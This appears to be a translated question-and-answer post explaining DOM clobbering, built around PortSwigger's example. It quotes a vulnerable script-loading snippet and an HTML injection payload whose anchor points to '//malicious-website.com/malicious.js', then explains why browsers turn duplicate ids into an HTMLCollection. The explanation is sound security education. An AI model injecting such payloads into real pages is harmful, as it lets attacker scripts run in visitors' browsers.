DOM 破坏及其运作方式

DOM Clobbering and how it works

我对DOM Clobbering的话题有些疑问:

Portswigger 解释道:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.

我的理解是:

id 为 someObject 的锚元素存储在 array-like 结构中 - DOM collection.

通过

var someObject = window.someObject || {};

使用 id 引用锚元素 - 一些浏览器将 id 直接存储在 window object (Are IDs for an html element always available from the window object?).

但是:

这是控制台显示的内容:

(有关此主题的更多信息也可在此处找到:https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b

Why does the name attribute override the url property with the URL?

因为 someObject 实际上是一个 HTMLCollection,您可以通过名称访问 HTMLCollection 中的命名元素。

console.log( document.getElementsByClassName("test").bar );
<div class="test" name="foo"><div><div class="test" name="bar"></div>

What has the DOM collection to do with all this?

注意到它们如何让两个元素具有相同的 id 属性?好吧,即使它违反规范,相同的规范实际上有一个特殊的规则来处理这种情况,当访问命名元素作为 window 的属性时:specs

  1. Otherwise, if objects has only one element, return that element.
  2. Otherwise return an HTMLCollection rooted at window's associated Document, whose filter matches only named objects of window with the name name. (By definition, these will all be elements.)

我认为只有 Chrome 确实尊重这里的规范,所以在这个浏览器中,如果你像这样通过它的 id 访问一个元素并且有多个元素具有相同的ìd,你获取 HTMLCollection 而不是 Element:

console.log( window.foo ); // in Chrome [HTMLCollection]
<div id="foo">1</div><div id="foo">2</div>

Does the object initializer in window.someObject || {} (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer) play any role for the attack?

这只是为了避免 null 以防在处理程序触发时没有带有此 id 的元素,所以它在这里主要没用。

Last question: Why does script.src = someObject.url; extract the href out of the whole anchor element?

因为 HTMLAnchorElement.toString() returns .href 值。